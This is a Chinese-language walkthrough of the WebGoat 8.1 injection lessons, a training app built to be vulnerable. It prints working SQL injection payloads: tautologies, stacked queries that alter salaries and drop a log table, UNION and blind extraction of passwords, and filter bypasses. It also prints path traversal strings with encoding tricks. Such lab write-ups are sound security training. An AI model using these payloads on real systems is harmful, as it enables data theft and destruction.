WebGoatV8.1(A1Injection)详细过关教程
一、SQL Injection (intro)
1.What is SQL?
题目让我们查找Bob Franco的部门
基本的sql的查询语句:select 查询的字段 from 表名 where 筛选条件 order by 分组 having 再次筛选 limit 限制一次输出数据的条数;(;是sql语句结束的标志)
select department from employees where userid='96134';
2. Data Manipulation Language (DML)
数据更新语句的语法:update 表名 set 需要修改的字段=新的数据 where 筛选条件;
update employees set department= 'Sales' where userid=89762;
3.Data Definition Language (DDL)
题目是让我们在表上添加一个字段,就是修改表的意思
修改表的语句语法:alter table 表名 add/drop 字段名 字段类型;
alter table employees add phone varchar(20);
4.Data Control Language (DCL)
权限控制语句语法:grant 权限 on 数据库名.表名 to 用户名;
GRANT ALTER TABLE TO UnauthorizedUser
5.Try It! String SQL injection
sql注入的初体验,构成sql注入的主要的原因是有客户端可控的变量,且这个变量直接拼接到将要执行的sql语句中。
sql注入的构造恶意的步骤是先完成前面语句的闭合(也就是语句逻辑要合理),后进行想要的操作语句的构造
简单的看一下这个sql语句在变量前面是有'的说明是一个字符型我们需要加入'进行闭合,同理语句最后也有'也需要闭合,因为题目需要我们查询整个表所有中间用or ,or语句前后一真为真所有后面接的是1=1
Smith' or '1'='1
6.Try It! Numeric SQL injection
先看题目需要我们获得表的所有数据
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
分析sql语句,只是简单的拼接,而且拼接的地方是where,也就是筛选的地方,我们只需要把他们很成立就可以了(or 1=1)而且拼接的参数是个数字型不需要闭合,不过这里如果是在Login_Count这里进行注入的话我们需要用到注释符(#或者--+)将后面的语句进行一个注释(也就是不执行),不过不知道为什么这里这里不能在Login_Count进行注入
7.Compromising confidentiality with String SQL injection
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "';
分析sql语句,也是普通的拼接但是这里是用单引号包住参数(字符型)所以我们注入的时候需要用单引号进行闭合,而正常拼接的时候参数后会拼接一个单引号,我们也需要进行闭合如:'or '1'='1这样的语句可以进行闭合,或者简单粗暴一点就是直接注释后面的语句
qwe' or 1='1
qwe' or 1=1 --+
8.Compromising Integrity with Query chaining
题目这次不是让我们查询表那么简单而是进行修改,但是看这个表格来说拼接的语句用的是select也就是查询语句,我们需要用update语句的话这里需要用到堆叠注入。
堆叠注入:就是sql语句以;为结束,而且sql语句允许我们一次性输入多句sql语句一起执行,通俗的解释一次执行多句sql语句的注入就是堆叠注入
payload(在name输入或者tan都可以)
#首先我们需要知道表的大致信息
qwe'or 1=1--+#知道字段名和信息开始构造语句
qwe';update employees set SALARY=999999999 where USERID=37648--+
9.Compromising Availability
我们上一关的操作被记录到access_log表里面,所以我们需要去删除access_log表
分析:这里也是查询语句,我们需要进行删除操作所以需要堆叠注入。而且他提示了是字符串这里很有可能是用单引号或者双引号闭合
删除语句语法:drop table 表名;
1';drop table access_log;--+
二、SQL Injection (advanced)
1.Try It! Pulling data from other tables
这关有两个要求一个是获取当前表的数据,一个是获取戴夫的密码
1.获取当前表的所有数据,直接闭合加or 1=1
name:
1' or 1=1--+#在爆出来的数据里面似乎找不到我们想要的信息,我们需要查询另一个表这里有两种方法union注入和堆叠注入union注入(首先union select使用的前提是知道前面的select语句查询的字段长度正常可以使用order by来判断,这里是7,这里有对输出的数据类型有检测,使用需要对照前面爆的表的类型对照写入)
1' union select 1,user_name,password,'1','2','3',4 from user_system_data--+堆叠注入
1' ; select user_name,password from user_system_data;--+
2.Can you login as Tom?
摸索一下,登录框找不到注入点(只是用来验证我们的密码是否正确而已),在注册这里找注入点
username:tom
#User tom already exists please try to register with a different username.username:tom'or 1=1--+
#User {0} already exists please try to register with a different username.
这里的报错提示我们username这里有注入点
为了方便直接用burpsuit
因为有提示所以尝试使用布尔型盲注
username_reg=tom'and+1=1--+ #User {0} already exists
username_reg=tom'and+1=2--+ #User tom'and 1=2--+ created 可以使用猜测密码的字段名password passwd pwd都有可能
username_reg=tom'and length(password)>0--+ #User {0} already exists 猜中了接下来是爆破密码substr是在password字段的第几位取几个字母
username_reg=tom'and substr(password,1,1)=''--+
字典用的是大小写a-z 线程3(太高会报错) ,手动改substr()里面的第二个参数
最后爆破出来的结果:thisisasecretfortomonly
三、SQL Injection (mitigation)
1.Try it! Writing safe code
第一建立连接,第二构造sql语句用?占位,第三拼接完整sql语句
2.Try it! Writing safe code
String name="admin";
try{Connection conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);PreparedStatement ps=conn.prepareStatement("select * from users where name=?");ps.setString(1,name);ResultSet result=ps.executeQuery();System.out.println(result.next());
} catch (Exception e) {System.out.println("Oops, Something went wrong!");
}
3.Input validation alone is not enough!!
先输入
1'or 1=1--+
#提示说空格不能使用,那我们使用+或者/**/代替空格
1'or+1=1--+
1'or/**/1=1--+union查询
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
堆叠查询
1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+
4.Input validation alone is not enough!!
一样过滤了空格先用/**/代替空格
1'oR/**/1=1--+带入上一关的进去看看
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
#发现执行的sql语句中select和from被直接去掉了,试一试双写绕过(因为代码只对语句进行一次过滤)1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+ #成功1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+ #成功
5.List of servers
这里是对order by 的位置进行注入,点排序的地方进行抓包
(CASE WHEN 1=1 THEN ip ELSE hostname END)
返回结果都是一样说明存在注入点
传入一个错误的payload进行报错得到表名是servers
构造数据的读取语句然后继续爆破
(CASE WHEN substr((select ip from servers where hostname='webgoat-prd'),1,1)='1' THEN ip ELSE hostname END)
一个个查看回应包,成功排序的说明是我们需要的数值,因为只需要前三位所以只用进行三次爆破,爆破结果是:104
四、Path traversal
1.Path traversal while uploading files
点一下头像选一个文件上传,点了update发现回显,我们full name输入的也是test说明可能是创建一个我们输入的为名字的文件夹。
Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"
构造payload,并随便上传一个文件
../test
2.Path traversal while uploading files
这题和上一题差不多直接上上一关的payload,发现用不了,可能是过滤了../
Profile has been updated, your image is available at: /root/.webgoat-8.1.0/PathTraversal/qweqwe/test"
我们尝试双写绕过,成功绕过
..././test
3.Path traversal while uploading files
这一题上传的时候发现是上传文件到服务端,似乎和full name没什么关系,因为上传的文件名字没变,那可以试一下抓包直接修改文件的名字
../1.txt
4.Retrieving other files with a path traversal
题目是让我们找到这个path-traversal-secret.jpg图片
抓包随机一张照片,进行重放,回应包的url上面带有参数
我们构造一下进行请求 ,发现请求的参数会拼接一个后缀,那就是直接上传文件名就可以
直接传参id=../path-traversal-secret 回应包说是非法字符,那我们可以使用编码绕过
id=%2e%2e%2fpath-traversal-secret,回应包是没找到,那就继续去上一层文件寻找
id=%2e%2e%2f%2e%2e%2fpath-traversal-secret,找到了
根据提示需要我们提交我们用户名的sha512的哈希值
以上就是A1Injection的全部内容过关教程
WebGoatV8.1(A1Injection)详细过关教程相关推荐
- WebGoatV8.1(A3-A5)详细过关教程
一.Insecure Login 打开代理,点击login,发现登陆的账号和密码没加密,提交可过关. 二.xxe 1.Let's try 设置代理进行抓包,发现我们评论的内容是在用xml进行传递这时候 ...
- WebGoatV8.1(challenges)详细过关教程
一.Admin lost password 设置代理继续抓包,刷新题目本页面.抓取url路径为/WebGoat/challenge/logo的包,重放在回应包里面搜索admin找到账号和密码 登录拿到 ...
- WebGoatV8.1(A8 2013Request Forgery)详细过关教程
一.Cross-Site Request Forgeries 1.Basic Get CSRF Exercise 根据题目提示说有隐藏表单,找到代码,右击form标签,复制->整个html 黏贴 ...
- mysql为什么每天0点就装东西_MySQL的详细安装教程
1.安装之前需要注意的几点 建议不要安装最新版本,一般找mysql5.0系列版本即可: mysq1官网有.zip和.msi两种安装形式: zip是压缩包,直接解压缩以后使用的,需要自己配置各种东西:m ...
- mysql windows 管道连接,科技常识:Windows Server 2016 MySQL数据库安装配置详细安装教程...
今天小编跟大家讲解下有关Windows Server 2016 MySQL数据库安装配置详细安装教程 ,相信小伙伴们对这个话题应该也很关注吧,小编也收集到了有关Windows Server 2016 ...
- python安装了运行不了_python详细安装教程
本章开始,我们将详细介绍Python编程环境的搭建,工欲善其事必先利其器,所以我们这里先介绍python详细安装教程.由于Python是跨平台的,他可以运行在Windows.Linux.Mac等系统上 ...
- truffle详细使用教程
详细使用教程 选择以太坊客户端 编译智能合约 运行迁移 测试智能合约 用 JavaScript 编写测试脚本 编写 Solidity 测试脚本 与智能合约交互 使用 EthPM 包管理工具 调试智能合 ...
- Apache的详细安装教程和遇到的问题解决方案
Apache的详细安装教程和遇到的问题解决方案 参考文章: (1)Apache的详细安装教程和遇到的问题解决方案 (2)https://www.cnblogs.com/jave1ove/p/54864 ...
- centos7 查看ip_VMware安装CentOS 7操作系统详细操作教程(网络配置)
网络配置,输入vi /etc/sysconfig/network-scripts/,按下Tab键,根据提示,输入ifcfg-eno16777736,按下Enter键,如下图所示: 图 1 网络配置-1 ...
最新文章
- 扩增子分析解读4去嵌合体,非细菌序列,生成代表性序列和OTU表
- 第二阶段冲刺第六天(6月5号)
- apache-jmeter-3.1的简单压力测试使用方法(下载和安装)
- 大数据时代下的迁移学习_继深度学习后,下一个热点技术是迁移学习
- 前端学习(1868)vue之电商管理系统电商系统之登录退出实现表单的预先认证
- 做游戏,学编程(C语言) 1 实现弹跳小球
- PHP安全之Web攻击
- 在克隆环境上分离httpd和subversion。
- 大数据技术原理与应用----大数据概述
- 利用Google翻译实现网站国际化——js插件
- 【C学习】全通纸笔王网上阅卷系统 APMS_Setup.exe IP修改程序 - 附C/C#/Delphi源码
- http协议、URL、GET/POST请求报文及响应报文
- [导入]提高英语口语水平【网上资料整合】
- 点云粗配准之采样一致性
- android 设置单边框,Android设置单边圆角边框
- 详细的介绍sigmoid函数
- 冒泡排序、插入排序、选择排序、希尔排序、堆排序、归并排序等常用排序算法的比较
- GSMA SGP.21协议学习
- 基于JAVA成都某4S店销售管理系统计算机毕业设计源码+系统+lw文档+部署
- 058:vue+openlayers用moveend事件获取地图左上和右下的坐标信息(示例代码)